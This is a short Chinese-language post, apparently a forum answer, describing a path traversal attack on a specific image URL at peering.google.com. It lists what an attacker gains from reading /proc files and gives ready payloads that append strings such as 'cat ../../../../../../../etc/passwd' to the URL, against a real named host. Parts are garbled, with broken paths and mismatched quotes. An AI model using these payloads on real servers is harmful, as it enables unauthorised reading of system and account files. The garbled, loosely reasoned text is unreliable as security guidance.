你是怎么想到要在 png 图片后加 cat 的?

1.攻击者获得有关服务器和内核数据的信息。  PoC：“/proc/version”或“/proc/cpuinfo”或“proc/meminfo”）2.攻击者获取有关服务器上文件的信息。  PoC：“/proc/self/cmdline”）3.攻击者获取有关内部网络的信息。  PoC：”/proc/self/cmdline“）4.攻击者获得有关操作及其在服务器上运行时间的信息。  PoC：”proc/self/stat“）5.攻击者获得有关操作过程和系统能力的敏感信息，这些信息可以很好地衡量拒绝服务攻击的规模。  PoC：“/proc/self/status”)
https://peering.google.com/static/images/couch-ipad.png在链接末尾添加以下值之一：cat ../../../../../../../etc/passwdcat ../../. ./../../../../proc/self/cmdlinecat ../../../../../../../proc/self/stat/ cat ../../../../../../../proc /self/status
通过这种方式：https://peering.google.com/static/images/couch-ipad.png cat ../../../../../../../proc/self/cmdline